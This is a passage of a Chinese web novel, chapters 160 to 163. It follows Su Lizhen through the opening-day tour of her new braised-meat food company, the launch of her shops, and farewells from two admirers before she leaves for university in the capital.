紧接着,院内的鞭炮被同时点燃。伴着响亮的鞭炮声,苏丽珍一扬手,锣鼓队再次欢奏起来,参观典礼的客人和员工们都不禁笑着鼓起掌来。 热闹的开业典礼过后,苏丽珍又邀请来宾们参观公司。 进入正门,走过宽敞整洁的水泥甬道,迎面就是气派的三层办公楼。 孔区长又忍不住赞叹道:“这办公楼可真气派!” 要知道他们区的办公地点还只是一栋二层的小楼房,年代久远,跟人家这办公楼可没法比。 公司院内采用“先楼后厂”的布局模式,工厂设在办公楼后。 苏丽珍征询大家意见,决定先去厂子里走一走。 工厂占地约两千平,大体分为储藏区和加工区。 仓储区是一东、一西两个大库房,中间是整片的加工区域。 加工区又细分为原材料屠宰车间、清洗分割车间、食品加工车间、包装车间和配料室几个部分。 屠宰车间采用最新的生产线,鸡鸭等禽类全部用机器宰杀、脱毛,处理效率高且原材料脱毛效果更好。 清洗分割车间分两组,一组对所有食材进行充分清洗,并进一步将宰杀的鸡鸭鹅开膛,清理内脏;另一组把食材按照最终售卖规格进行拆解或者分割。 食品加工车间具体分为香肠区、卤制区和熏制区。 香肠区,先将搅碎的猪肉腌制好,然后灌肠,最后卤制。 卤制区使用专门定制的大容量蒸煮锅,一次能卤上百只鸡,更加高效节能。 熏制区,因为目前没有专用的熏蒸机器,只能采用比较原始的熏制技术,因此熏制区也是唯一需要有专业熏烤技术人员坐镇的部门。 目前,熏制产品因为需要先卤后熏,且制作过程繁琐,产能有限,所以是“珍珍”售卖商品中价格最高的品目。 一只普通包装的两斤重“珍珍”牌卤鸡或者卤鸭,市场统一售价为4元,熏制的则要4.5元。 加工车间之后就是包装车间。 包装车间先对加工好的产品进行抽真空处理,然后再由工人们按照不同规格完成最后外包装。 现在“珍珍”食品的外包装大体分三种:普通塑料外包装,精美礼盒装,以及用稻草、柳枝或竹条精编而成的篮筐包装。 哪怕是最简单的塑料外包装,也是苏丽珍和苏振东制定采用的当下最新型食品级塑料,更不用说精美的礼盒和编织篮筐,光是这外包装一项,就将成本拔高了不少。 但这么做的好处也显而易见,高端精致的包装让“珍珍”的所有商品在市面上一众黄油纸包当道的食品中直接脱颖而出。 主打一个鲜明、大气,有档次。 着实给如今消费观念尚且朴素的人们制造了一波“视觉冲击”,进而顺理成章地占据大家心中对于食品类、t乃至礼品类商品的第一设想。 说白了,就是苏丽珍想让大家只要一提起卤味,脑子里第一个想到的、同时也是最想要的都是她的“珍珍”。 此外,今年三月国家开始实施“商标法”,苏丽珍特地请了美院的人设计了一套“珍珍”的商品标识,并第一时间将这套商标注册完成。 同时,她又顺手把诸如“真真”“贞贞”等等此类谐音和“好珍珍”“美珍珍”等易混淆的品名也都一次性注册下来,最大限度防止以后有人恶意“蹭名字”。 现在,公司产品的所有外包装上都印有“珍珍”这个醒目的标识,再配合公司的各项宣传,已经初步在消费者心中树立了一个品牌形象。 接下来就是逐步完善这个“形象”,让大家内心形成清晰地品牌概念。 要知道无论哪行哪业,一个项目取得成功,之后跟风模仿者总是层出不穷,“赝品”“盗版”之流也是防不胜防。有些“赝品”做得好,甚至能取代正品。 这世上只有千日做贼,没有千日防贼的道理。她唯有努力把自己的商品做好,把品牌做大、做强,让“珍珍”这两个字只能被模仿,旁人始终无法超越,这才能牢牢占据消费者市场,不被轻易取代,也是真正持之有效的防伪手段。 而来参观的客人们明显也对这些精美的外包装感兴趣。 安夫人拿起一个柳条编成的篮子,爱不释手地翻看了几圈,忍不住跟旁边卢向阳的母亲卢妈妈小声念叨:“真好看啊!这手也不知道多巧,能编出这么好看的小东西来,我这手织个毛衣都费劲呢。” 卢妈妈也低声符合:“我们邻居有乡下的亲戚,经常给她送这些柳条筐啊、篮子的,她也送过我。我原本以为那就很好看了,但是跟这个还是没法比。” 李翠英听见这话,便拉着小麦过来,喜滋滋道:“这都多亏了我家大闺女!这孩子手巧,最会编这些东西了,这篮子就是她最先设计出来的。她东叔在乡下挑了些编织好手,也都是照着她的样子来,才有了这些漂亮的小玩意儿。” 安夫人和卢妈妈便不由拉着苏小麦的手,对她好一顿夸。 苏小麦被夸得脸颊发红,但是两只眼睛却亮晶晶的。 苏丽珍在旁边看着,也忍不住弯起了唇角。 然而她看着别人笑,也有人在时不时地盯着她瞧。 沈瑞盯着女孩唇边的笑意看了又看,心里有一瞬的遗憾。 要是这笑容是为他而起该有多好。 这想法一闪而过,他又不禁苦笑。 什么时候,他沈瑞也这样患得患失了。 一行人参观了包装车间,一出来就见前方是一组相对封闭的房间,房门上挂着“配料室”的牌子,房间外墙上也贴着醒目的“闲人免进”四个大字。 众人一下就明白了,这里应该就是配制卤料的地方。 卤味好不好吃,卤料是关键。所以配方就成了各家熟食店严防死守绝对保密的存在。 客人们也都明白这个道理,因此都识趣地没有提出要去参观的话。 只有刘五爷抻着脖子看了半天,忍不住问道:“大侄女啊,你这里头啥样啊?这么要紧的地方,光一道门挡着,能顶用吗?” 要是他的厂子,那门口少说也得放两个人守着啊! 结果他刚发问完,肚子就挨了他媳妇一杵子。 刘五爷媳妇忍不住瞪了他一眼,低骂道:“哪儿都少不了你,话咋那么多!” 刘五爷反应过来,自己这样问好像确实是对人家那配方好奇似的,忙解释道:“不是,珍珍,我没别的意思!我就是好信儿,一顺嘴就秃噜出来了!” 苏丽珍笑道:“没关系,五伯。我既然邀请大家来参观,就没想着要藏着掖着,大家想看什么都行。” 说话间,就主动走过去,把配料室的门打开。 跟里面负责配料的工人们打了声招呼,然后她一边招呼客人们过来随意看看,一边耐心解释道:“大家都知道配方对于一家食品公司的重要性,我们自然也是格外重视的。” “针对这个问题,我和东叔研究决定,把配料室分为大小两个班。大班负责将配方中大部分调料配齐打包,我们称它为甲料包;余下配方中比较关键的几味调料,我们会先将其粉碎成末,将具体调料的名称替换成数字代号,然后才送进配料室。” “到时候小班的人按比例把数字代号的调料配成料包,就是乙料包。卤味车间每一锅卤味所用调料必须要用甲乙两个料包,卤制过后的料包由公司统一回收处理。” “而配料室大小两个班配制的料包,不管是甲料包、还是乙料包,都需要上称量重,保证当天所有人配制的料包总重与出库的原材料总量相符,避免有人私自偷藏配料。” 众人听完这套管理办法,再看看两个配料室里一组组对面而坐埋头配料的女工们,心里细细一品,越发觉得这办法好用。 至于那送到小班之前的几味关键调料在哪里粉碎、由谁负责替换名称这话,没人傻的会问。 大家心里明镜似的,即便是开工厂,许多流程需要用大量人工去做,可最关键、最核心的东西肯定还是要掌握在人家自家人手里。 “此外,”苏丽珍继续解释道:“所有进配料室的人都会事先签署一份保密协议,一旦被发现有泄露配方的情况,就要面临公司的巨额索赔。” 当然,再高的赔偿也抵不过配方泄露的损失,但这样做起码能达到一定震慑作用。 其实之前在商定配料保密措施的时候,苏振东曾经告诉过苏丽珍,时下许多食品厂和日用品厂为了杜绝员工夹带产品出厂的情况,工厂会安排保卫科的人专门在工人下班的时候进行检查,有时不光翻看工人随身携带的口袋,甚至还要翻检人们身上的衣兜。 而他们食品公司,不光是配方,就算是工厂里其他物品,随便拿点什么都是具有实用价值的东西,难保大家心里惦记,所以苏振东也建议适当采取这种检查模式。 但苏丽珍想了想,还是没同意这样做。 虽说这种事情是时下常有的事,但常有的事就一定正确吗? 苏丽珍不想起高调,可是换位思考一下,还是觉得这样做是对个人的不尊重。 不过苏振东说的情况也确实需要重视,有些人占公家便宜占惯了,难免管不住手脚。 所以苏丽珍直接规定,一旦发现有员工偷拿或夹带公司财物出厂,一次扣除半个月工资,连续两次直接辞退。 同时,鼓励全体员工互相监督。主动举报偷窃者,如果公司查证情况属实,将一次性奖励对方半个月工资加三天带薪假期。 这样有赏有罚,要是还有人耍小心思,就别怪她“杀鸡儆猴”。 如果能再有一个主动站出来检举的“勇夫”,她更会敲锣打鼓重赏对方。 她不怕有人不老实,毕竟说十句话也不如做一件事来得有效果,她总得让大家都看见她的底线和决心。 当然这些事情就没必要跟来宾们一一说明了。 大家也在了解完配料室里的工作流程,满足了好奇心之后就结束了这个话题。 苏丽珍敞亮,但是他们也不能太不识趣,在人家工厂重地打听个没完没了算怎么回事—— 作者有话说:女神节快乐,小天使们。《 》 160-170 第161章 等苏丽珍带着大伙儿从配料室出来,车间基本就参观差不多了。 除了生产区和仓库这些基础配置外,工厂里还有提供给工人们的临时休息室、活动室和医务室。 休息室有桌椅、沙发和许多报刊书籍,供工人们午间休息。 活动室里设置了许多当代流行的娱乐设施,乒乓球台,各种棋类,甚至还有一台收音机。 主打一个身心放松! 扛着摄像头的记者忍不住把镜头对准这些设施拍了又拍,另一个拿照相机的也不停按起了快门。 干净整洁、井然有序的车间固然好,但这些为工人们悉心准备的休息室和活动室显然更有话题性,他们可不想错过这t么好的题材。 而这两个房间的配置也同样把客人们镇住了,大家心道那些上了规模的国营单位也不过如此。 胡场长就不由夸赞道:“瞧这家伙式儿齐全的,我们那养殖场可比不上,在这上班可有福喽!” 众人纷纷点头,只有丁大勇和薛有粮微笑不语。 因为他们筑梦公司也是这个配置,虽说他们整体办公区域不大,但是麻雀虽小,五脏俱全啊! 他们还有很多零食和汽水呢!有吃有喝有玩的,呆在公司一天不动地方都成。 一开始他俩还不赞成苏丽珍这样做,食堂顿顿有荤有素就挺好,还花钱搞这些,这哪里是雇人上班,这分明是在养大爷啊。 可是等他们发现有了这些福利后,大伙儿没事就喜欢往公司跑,一个个工作效率简直嗷嗷的。尤其那两个花大价钱请来的设计师,几个月胖了五、六斤,下班都不愿意回家,有时候画完自己那份图,还惦记给公司拉点业务。这积极劲儿,他们不夸都不好意思。 反正两人是觉得,到底是苏家丫头(小师妹)啊,真就是一分钱也不白花。 这边参观完了当下堪称布置丰富的休息活动室后,一行人出了车间,准备去看看前头办公楼。 苏丽珍和苏振东带着众人刚转过楼角,这时,保安队长富守国忽然急匆匆找了过来:“苏总、东副总,谢市长身边的姜秘书来了!” 苏丽珍的新公司开业,原本谢芳芳是第一个吵着要来的。 只是昨天,谢妈妈临市一个关系很好的朋友忽然意外离世了,谢妈妈伤心得不行,谢芳芳放心不下,今天一早陪着谢妈妈去了临市。所以之前说好要来参加开业典礼的事也不成了。 只是没想到谢芳芳和谢妈妈没能过来,谢市长倒是派人来了。 这位姜秘书是谢市长手下第一人,很多时候相当于代表了谢市长本人。所以苏丽珍不敢怠慢,听完富队长的话后,立马安排先让苏振东带着客人继续参观,她则亲自去大门迎接姜秘书本人。 走到大门口,老远便看见一辆吉普车,车门前站着一个三十多岁的清瘦男子。苏丽珍一眼认出,正是姜秘书。 姜秘书看见苏丽珍也主动往前迎了几步,笑眯眯地招呼道:“小苏同志,恭喜啊!” 苏丽珍忙上前,一边跟对方握手,一边热情道:“谢谢姜秘书!欢迎您莅临指导我们工作!” 姜秘书笑道:“小苏同志客气了,连谢市长都说你是年轻有为,聪明能干,我就不班门弄斧了。” “我这次来,首先是代表谢市长个人,恭贺你新公司成立,祝愿小苏同志你事业蒸蒸日上,未来大展鸿途。” 苏丽珍闻言,立马笑道:“感谢谢叔叔对我的祝福!也请姜秘书替我给谢叔叔捎一句话,我一定不忘初心,时刻记得自己的身份、摆正自己的位置,永远保持积极向上的精神,绝不辜负大家对我的爱护。” 姜秘书听罢,心里不由暗自感叹,这位小苏同志果然聪慧。 一声“叔叔”先是回应了谢市长个人的祝福,顺势将对方归入爱护她之人的行列里,拉近了彼此的关系; 而另一方面,处在时代和改革的风口浪尖上,其实他们双方都明白,她和她的这家公司未来也充满了不确定性。而她的那句话亦是她以一个个人企业决策者的身份向谢市长表露自己的态度和决心。 一句话,不显山、不露水,也不用别人提点,却于公于私,方方面面都照顾到了。 真是厉害啊! 思维敏捷又不失分寸,难怪谢市长每每提起这个年轻姑娘,总要忍不住夸一夸,喜爱欣赏之情溢于言表。 “小苏同志放心,我一定把话带到。” 姜秘书脸上笑意更浓:“另外,还有一件事,市运输队下周会淘汰一批旧车。谢市长知道你们企业现在用车困难,所以特地跟那边打了招呼,替你们留了两台车,你们下周直接过去交钱办手续就成了。” 苏丽珍听完两眼一亮,只觉是天降惊喜,连忙点头道:“谢市长真是有心了,这两台车如今对我们来说太重要了,能给我们公司解决大问题!” 姜秘书继续提点她:“上头放出风来,明年应该会放开对私人购买机动车辆的限制,所以谢市长说让你先暂时克服一下,等到明年就好了。” 苏丽珍闻言大喜。原来明年就是私人购车开放的时间,到时候想买什么类型的车就都好办了。 加上有姜秘书这样提前透话,也说明了谢市长的态度,起码明年她的购车指标应该不成问题了。 苏丽珍又再三表达了谢意,最后又邀请姜秘书进去小坐片刻。 姜秘书婉拒了她的邀请,留了几句祝福的话,很快就告辞离开了。 苏丽珍得了好消息,又马不停蹄回到办公楼。 因为这一趟没用多少时间,这会儿客人们还在一楼参观。 办公楼整个一楼都是食堂,宽敞、明亮、洁净。食堂的工作人员也跟后头车间里的工人们一样,身上穿着雪白的工作服,戴着帽子、口罩,这干净程度更是叫来宾们赞不绝口。 要知道,大锅饭味道好不好吃是次要的,管饱、卫生才是重中之重。 卫生,他们已经亲眼看见了;至于能不能管饱,不说前头看到的工人休息室和活动室,只看这装修得锃明瓦亮、设施齐全的大食堂,便知道苏丽珍没想糊弄人,又怎么可能让人吃不饱? 众人顺着楼梯上了二楼,东边依次是安保部,来宾接待室和一个企业商品展厅。 西边第一间则是技术研发室。因为是食品公司,所以里头有各种烹饪、调味的设施、工具和原材料。按照苏丽珍的想法,将来还打算引进一些专业的检测化验设备。 最西边是一个小型的礼堂,平时供工人们学习、开会,逢年过节还能搞个聚餐、联欢会之类的活动。 三楼就是各部门办公区域,苏丽珍和苏振东的办公室也在这里。 大家好奇地参观了一圈,发现相比其他部门整体稍显华丽的装修风格,两个负责人的办公室却都走极简路线。 室内没有什么多余的陈设,整体以深色调为主,凸出一个大气、简约又不失庄重。苏振东也就罢了,实在跟苏丽珍这个妙龄女孩极不相称。 不过大家想起苏丽珍素日里沉静稳重的气质,倒也不觉得她驾驭不了这个风格,只是未免太过于严肃了。 刘五爷媳妇就主动道:“珍珍啊,我家里有几盆君子兰,开花特别好看,叶子也绿油油的,我看摆你这办公室里正好。赶明儿个,我给你拿两盆来吧!” 苏丽珍也确实想在办公室里摆几盆绿植。之前订做花篮的时候,本来想顺道定一批摆在各部门办公室,只是现在也没啥正儿八经的花店,先头凑齐那些花篮就废了牛劲了,所以买绿植的计划也就暂时搁置了。 现在听刘五爷媳妇要送她君子兰,自然是乐意的。 这可是眼下最热门的盆花,寻常还不好买呢。 “谢谢五大娘,我还真就特别想买几盆好花,那我就不跟您客气了!” 刘五爷媳妇听她这样说,反而十分高兴,立马跟苏丽珍许诺,干脆也不等明天了,等中午回去就叫人给她送来。 沈瑞在一旁留意到苏丽珍提起花时,那双眼亮晶晶的样子,不由神情一顿。很快,又若无其事地将目光移开。 等客人们参观完办公楼,时间也不早了。 苏丽珍早已让人在小礼堂摆了几桌宴席,专门招待大伙儿。 为了今天的宴席,苏丽珍特地请了一位国营饭店的大师傅掌勺。 原本苏厚德和李翠英都说要亲自下厨,但是苏丽珍没同意。 平时在家也就罢了,她拗不过他们俩,现在既然到了她的地盘,她可舍不得让两位长辈劳累。 而且她请来的这位大师傅厨艺也很高超,一手本地东北菜做的十分地道,这顿宴席吃到最后可谓宾主尽欢。 等吃过了饭,客人们也准备告辞。 临别之际,苏丽珍又特地给每个人都赠送了一份卤味礼包。 看几位女士格外喜欢公司包装用的编织篮筐,也每人分送了两个。 孔区长和胡场长两人是一道来的,回去时自然也搭伴一起回。 孔区长望着手里沉甸甸的礼包,有些感慨:“这位小苏老板,年纪虽轻,但是做起事来却圆滑、大气,有章法,将来必定大有作为啊!” 胡场长也点头表示认可:“你看今天来的这些人,各行各业的,连凤城日报的李孟儒都来了,这位现在可是轻易不出山的。今天能来,十有八九是跟苏小老板另有交情。”t “果然是长江后浪推前浪啊!” 胡场长说着,咂了咂嘴,语气中带了点他自己都没察觉的酸:“一个小姑娘家,倒是真有两下子!老孔啊,我可是看明白了,咱们要是再不努力,将来说不定就要被小辈儿们甩在后头了,那可就丢人喽!” 孔区长也是心有戚戚焉。不过与胡场长的感觉微妙不同,他心底其实还另有一番思量。 如今干部考核不再像之前那样,一味只讲究阶级斗争、思想革命,地方经济发展则成了衡量政绩、干部升迁的重要标准。苏丽珍在他管辖的地区开公司,如果这个公司将来发展得好,能带动当地人员就业,推动经济发展,那不也是给他送政绩吗? 没人不盼着能往上动一动! 他之前没敢想,是因为他们这一片儿地处郊区,一半都是没什么用的荒地,除了一家煤厂,更没啥像样的厂子。这一穷二白的,大伙儿吃饱饭都费劲,搁啥发展经济? 但现在不一样了!如果“珍珍”食品公司能在这片土地上真正发展起来,那这里的人们都会跟着受益,他这个地区分管领导更是直接受益人。 所以苏丽珍越厉害,其实对他越有利。 这么一想,他倒真心盼着“珍珍”能做大、做强,甚至完全不输那些国营单位才好呢。 苏丽珍不知道这位孔区长心中的想法,要是知道了,也只会一笑置之。 相比未来大部分走向衰落而无力回天的国营单位,她的目标一直在更高、更远的地方。 这会儿,等送走公司最后一批客人,她就马不停蹄赶回了市内。 今天市里的四家门店同步开业,她只留了王树和梅子照看。虽说这边一切都安排好了,理应不会出什么问题,但是开业第一天,不亲自看一眼,她总归是不放心的。 好在这四家店从上午开业到现在,过程都十分顺利。而且因为新店开张实行种种优惠措施,所有分店当日现卤的商品半天工夫就销售一空,公司的包装产品也卖出了一半。 当然,等过了初期的新店效应和优惠阶段,整体销售量还会有所回落。但是如果以今天的销售量为基准,即便日后数据下滑,扣除一部分数额后,整体数据仍然十分可观。 当初选开这四家分店时,她和苏振东一边做市场调研、一边实地考察,前前后后走了很多地方。 这四家店必须保证周围有足够的目标购买群体,附近不能有太强劲的同类竞争店铺,还要确保分店之间彼此不会互相干扰。 开业当天的好销量起码证实了他们的选择没有错,至于能不能经得住考验,保持住这个好势头,还需要看后期发展。 不过,苏丽珍对此很有信心。都说“万事开头难”,他们现在已经开了一个好头。后续无论是外在大环境利好经济的种种政策,还是内在她领先于别人好几年的先知先得,比起那些真正白手起家的人,已经开了好头的她无疑更具有优势。 所以,她相信自己,一定会做到更好! 第162章 公司正式开业后,苏丽珍又连续在公司和几家分店之间往返巡视几天,确保一切走入正规后,这颗心才放下来。 虽然很无奈,但是马上九月一了,她很快就要开学去首都。这一走四个多月,很多事情只能靠着电话商量决定,而电话又不像手机,没法随身携带,这种情况下还是存在着不稳定因素的。 所以她需要充分考虑到不在的这段时间,公司可能出现的一些状况,提前跟苏振东制订好应急预案,以防无法及时联系到她时产生任何不利影响。 不过,也许是好事成双,开业这几天,公司的销售部接连传来好消息。六名销售人员,其中有三人成功为公司争取到了销售订单。当中尤以苏丽珍最看好的冷刚表现最为出色,一口气就拿到了两家规模不小的单位中秋职工福利订单。 另外,四家百货公司的销售情况也很不错。特别是在苏丽珍邀请的媒体将公司相关的诸多信息报道后,诸如热闹隆重的开业典礼、洁净卫生的车间环境、现代化的生产线设备,以及专属工人的休息娱乐室等信息,都再次引发了人们讨论的热潮,从而引爆了新一轮的热度。 在这种超高的知名度加持下,设置在百货公司的食品专柜,依托对方原本就庞大的客流量,初期的销售数据可以说十分喜人! 一时间,几个百货公司催货的电话此起彼伏。之前因为定价权的事跟苏丽珍他们略显隔阂的那三家公司经理也是眉开眼笑,跟前去接洽的苏振东等人态度是亲切又自然。 总之,公司整体形势稳中向好,苏丽珍也能放心去上学。 而忙完公司的事,她又利用最后两天时间,在公司苏振东匆匆学了个开车。 可喜她在这方面多少带了点天赋,学得比较快,不像做编织那些,简直一碰就废。经过两天的认真练习,她已经能够自如地操纵车子转弯、倒退,按苏振东的说法,就是正常上路也没什么问题。 相比之下,一起学习的丁大勇反而不如她。同样练了两天,他也就是将将能把车子往前开一段路程而已。 丁大勇私下忍不住跟自家小师妹抱怨,说是开半天车居然比在工地上一天班还累,怪不得老话说“听诊器、方向盘,金不换的营业员”。营业员不提,这开车的能和学医的比,可不就说明这难度有多大了。 这歪理把苏丽珍都给逗笑了。 时间过得飞快,一晃到了29号。大清早,苏丽珍早早就到了公司。 今天是她临开学前最后一次过来,想再简单看一看。 她先是到车间仔细走了一遍,之后回到办公室,召集各部门管理层开了个小会。 等确定没什么问题后,她又在宽阔的厂区练习跑了几圈车,利用最后这点时间巩固一下技术,接着便让公司的司机把她送回了家。 没想到她前脚刚进家门,后脚就有人来找。 苏丽珍匆匆下楼,一看来人竟是顾英杰。 “顾大哥。” “珍珍。” 顾英杰正跟苏卫华夫妻俩说话,见她过来,苏卫华便道:“你来得正好,小顾是来找你的。” 说完,怕影响两人说话,夫妻俩就跟顾英杰招呼了一声,然后各自去忙自己的事了。 苏丽珍知道顾英杰至今不习惯在一楼饭店停留,便主动道:“顾大哥,你是跟我上楼,还是咱们出去说话?” 顾英杰选择到外面,苏丽珍便陪他在饭店门前台阶一侧的阴凉处说话。 这两年,顾英杰因为表现优异,年初的时候就已经被丁大勇提拔为项目经理了。 而近半年事情多,她要忙着筹备食品公司,还要应付高考,加上“筑梦”公司那边因为业务拓展,又正值旺季,也是每天忙碌不已。真说起来,她好像也有很长一段时间没看见他了。 不过,她前天倒是听丁大勇说起过,这段时间公司事多,顾英杰已经两个多月没休息了,天天工地和公司两头跑,搞得他这个总经理都有些不好意思了。 苏丽珍看他今天穿着一身白衬衫、深蓝色直筒裤,头发理成短短的毛寸,配着他那摆脱了昔日淡淡沉郁的浓眉深目,倒是别有一番帅气健朗的感觉。 她不知道顾英杰今天来有什么事,不过想着对方平时工作认真负责,又是给她挣钱的优秀人才,自己于公于私都该表达一下关心,于是便主动道:“我听大勇哥说,顾大哥你这段时间为公司的事很是辛苦。但我还是希望你能适当休息,劳逸结合,毕竟身体才是革/命的本钱。” 顾英杰闻言微笑了一下,道:“以前有太多闲着没事干的时候了,对我来说,这样忙碌的日子反而更有滋味。我不觉得累,倒是越忙、越觉得有盼头。” 说罢,顿了顿,难得开了一句玩笑:“况且我也不是白忙,你们每月付给我的工钱能超过这座城市百分之九十五上班的人,我凭着这份工资也能奔小康了。” 苏丽珍失笑:“哪有那么夸张!再说多劳多得也是理所应当。” 两人闲话了两句,顾英杰就从随身的裤子口袋里掏出一只窄长的小方盒,递给苏丽珍。 “之前知道你考上了首都大学,一直想过来给你道声贺,只是工地上事多,一拖拖到了现在。不过赶上你新公t司成立,也算双喜临门,这是我……是我们哥儿几个的一点心意,祝贺你金榜题名,心想事成。” 苏丽珍听他这么说,倒不好推辞,忙接过那方盒,真诚道:“谢谢顾大哥,也请你替我向大河哥他们几个道声谢!” 顾英杰只是微微点了点头,看着她手里的盒子,道:“你可以打开看看。我……我是说我们不知道你喜欢什么,在百货商店胡乱买的,要是不好,也希望你别介意。” 苏丽珍从他的话语中听出一丝紧张的情绪,心里清楚这礼物并不像他说的那样只是随意买来的,这大概是他们兄弟几人精心挑选的结果。 其实,这两年,顾英杰兄弟几个每到逢年过节总要带着厚礼登门。她这边不管是大事小情,这兄弟几人但凡有点时间都要过来帮忙。 尤其是去年年底出狱的梅子大哥秦晓东,在得知了顾英杰几人和梅子在她的帮助下,如今有了稳定的营生,日子终于过起来了,在第一次登门的时候甚至给她跪下,磕了一个头。 这兄弟几人最看重一个“义”字,苏丽珍想用他们,但心底里也佩服他们重情义的品性,所以等闲从不将他们看作是一般的公司下属,平常交往也讲究以诚相待。 她没有听信顾英杰“胡乱买的”一说,笑看了他一眼,当即便打开了那只小方盒。 盒子里是一支钢笔,笔身通体银白,中间部分是镀墨刻花的青松图,只这么看着便觉得贵气、别致。 这是最新款的英雄牌高级铱金笔,价格十分昂贵。 这礼物有些贵重,不过苏丽珍只犹豫了一瞬,还是选择大大方方收下它。 因为她知道这代表了顾英杰兄弟几人的心意,如果她太计较礼物的昂贵与否,那才是轻看了这些人。 所以她直接对顾英杰赞叹道:“这支笔真漂亮!我之前送我老师们的毕业礼物也是这个牌子的钢笔,但那都是普通款,工艺跟这支比起来可差远了。顾大哥,谢谢你们,我很喜欢这份礼物!” 顾英杰看她没有第一时间拒绝自己的礼物,而且流露出的喜爱也不似作假,一直微微绷紧的双肩才悄悄放松,唇角也像是有自我意识般微微上扬。 “你喜欢就好!我……我们第一眼看见这支笔的时候就觉得它很适合你。” 苏丽珍握紧了手中的方盒,笑着道:“那等我去首都上学就天天用这支笔。” 听她这么说,顾英杰眼中笑意更加明显,同时心底也涌起一股不舍的情绪,正想问她是不是要等阳历年之后才能回来,就在这时,身侧的方向忽然传来两声汽车鸣笛声。 两人同时偏头看过去,却是沈瑞不知什么时候开车过来了。 “沈大哥。” 沈瑞先是朝着苏丽珍微笑着点了下头,然后下车径直走了过来。 他身高腿长,两人只觉好像一个眨眼间,人就已经到了身边。 沈瑞一过来,就非常自然地站在了苏丽珍身侧,看见对面的顾英杰,不由露出俊雅得体的微笑,主动朝对方伸出手:“这位是顾先生吧?我们之前也见过的,我是沈瑞。” 顾英杰的目光在沈瑞和苏丽珍之间略显亲近的距离上扫过,最后落在对面这个相貌和气质都格外出众的青年身上,不动声色地伸手回握对方:“你好,沈先生。” 因为苏丽珍和苏家的关系,两人确实是见过的,而且不只一次。 彼此也都知道对方的存在,只是因为平日里没有需要交集的地方,所以他们也没怎么说过话,今天算是第一次正式认识。 两人互相握了握对方的手,四目相对,又同时默契地收回手。 两个男人的交锋转瞬即逝,且全程隐藏在平静友好的表象之下,旁边的人无法察觉,唯有他们彼此心知肚明。 苏丽珍对此就全无所觉,见两人客气地互相认识了以后,作为主家便顺势邀请两人一起到楼上小坐。 顾英杰回过神,犹豫了一瞬,还是朝苏丽珍摇了摇头:“不了,家里还有点别的事,我这就回去了。” 苏丽珍想着他难得放假休息,兴许真的有事要处理,也没多挽留。 “那好,顾大哥,等我放假回来,欢迎你随时过来做客。” 说罢,又笑着朝对方扬了扬手里的方盒:“还有这个!麻烦顾大哥帮我跟大家道声谢,我很喜欢这份礼物!” 顾英杰听她这么说,唇角下意识扬起。 “我会的。珍珍,祝你明天一路顺风。” “谢谢,顾大哥。” 顾英杰的目光最后从苏丽珍瓷白的小脸上扫过,然后跟沈瑞微点了下头,就转身走了。 直到穿过马路,走出很长一段距离,他才顿住脚步,回头望去。 马路对面醒目的饭店招牌下,一对外形优越、气质出众的年轻男女正相谈甚欢。 不知道他们在说什么,即便是隔着这样远的距离,他也能感受到女孩放松愉悦的神情。 顾英杰眼中闪过一抹儿黯然。 定定站了一会儿,最终沉默着收回视线,转身离去。 另一边,苏丽珍其实在跟沈瑞道谢:“沈大哥,前两天你让人给我公司那边送的盆栽我都收到了。那么多的花,你费了不少心思吧?” 沈瑞便道:“我也不瞒你,倒是没怎么费事。我是去考察分厂的选址,没想到那附近刚好有两家种花的花农。我想起你可能需要这些花,就顺手给你买了一些。” 苏丽珍忙道:“那沈大哥,你花了多少钱,我这就还给你!之前给你打电话,你又刚好不在,一直拖到现在,我真有些不好意思了。” 沈瑞微微一笑,没说自己是故意不接电话,只温和道:“只是一些花而已,珍珍你不必放在心上。” 他不动声色地转移话题:“如果你实在觉得过意不去,等我这边的分厂建成开业,你也可以送一些给我,刚好给我捧场了。” “这是自然!就算你不说我也会把这事记下的。”苏丽珍点头,很快又被他的话吸引了注意力,“那沈大哥,你的新厂地址选好了吗?” 沈瑞摇了摇头:“这两天看得都不太满意,而且这边的事恐怕还要推迟一段时间了。” 见苏丽珍露出诧异的神情,他才适时露出无奈的表情:“我刚接到电话,首都那边我之前看好的一个项目出了点问题,需要我这两天赶回去处理。” 苏丽珍有些惊讶,不过她很快反应过来。跟自家这点产业不同,她知道对面的人是真正的家大业大,首都作为他的老家兼大本营,肯定还有不少产业。 所以她也没多嘴地询问对方什么事这么着急,只是问他:“那沈大哥你具体打算什么时间动身?” 沈瑞道:“越快越好,我待会儿就去火车站。” 时下的火车是允许先上车、后补票的,所以只要时间能赶得及,一般不存在买不买到票的问题。更何况这个人是沈瑞,就更不需要担心这些事了。 所以苏丽珍听他这么一说,不疑有他,自己看了眼手表,知道今天还能赶上的车是苏振东他们常坐的那趟下午两点来钟的车,也是明天她要坐的那趟车。 见眼下还有时间,她便主动道:“沈大哥,既然你下午还要赶车,那一会儿你就在我们这里吃午饭吧。另外,我再让我妈给你准备点东西路上吃。” 沈瑞没有拒绝:“那就麻烦你们了。” 苏丽珍对他笑了笑,转身回店里找李翠英和苏卫华安排吃饭的事。 剩下沈瑞站在原地,朝着之前顾英杰离去的方向看了一眼,淡淡一笑。 第163章 沈瑞在店里吃完了午饭,就带着李翠英给他准备的一些食物走了。 把人送走后,苏卫华还有些可惜:“小瑞这回也太着急了,要不然等明天跟咱们同坐一趟车,还能一起搭个伴,那多好啊!” 苏丽珍失笑:“沈大哥是有急事的,早一天到就能早一天解决问题,哪能说推迟就推迟?再说明天有我们陪着您,还有芳芳和谢妈妈同路,咱们这么多人,您还怕没伴啊!” 她这次去首都上学,家里的人都想去送她,正好苏爷爷也说要回去看看家里的房子。 苏丽珍一合计,机会难得,干脆所有人都去。学校9月2号开学,他们t提前两天到首都,顺便好好玩两天。 谢芳芳也在首都上学,本来她学校是8月31号开学,可是跟苏家不同,谢、安两家都有亲戚在首都,谢芳芳每隔一年半载就会去首都一趟,所以去首都游玩对她已经没啥吸引力了。相比之下,她更愿意跟苏丽珍搭伴一起坐车去上学,于是就把启程日期跟他们一家定在了同一天。 苏卫华自然不是怕自己没伴,他说道:“我这不是觉得小瑞自己一个人怪孤单的,里外里就差了这么一天,多可惜啊。” 苏丽珍心道,沈瑞可不是会把心思放在路上有伴没伴这种小事上的人。 不过她知道她爸妈一向喜爱沈瑞,别说她爸这么想,这会儿要是她妈也在,那两人更要对着惋惜一阵了。 嗯,说到她妈,怎么上楼这么半天没下来呢? 她随口问苏卫华:“爸,我妈又上楼忙什么呢?咱们的东西不是早就收拾好了吗?” 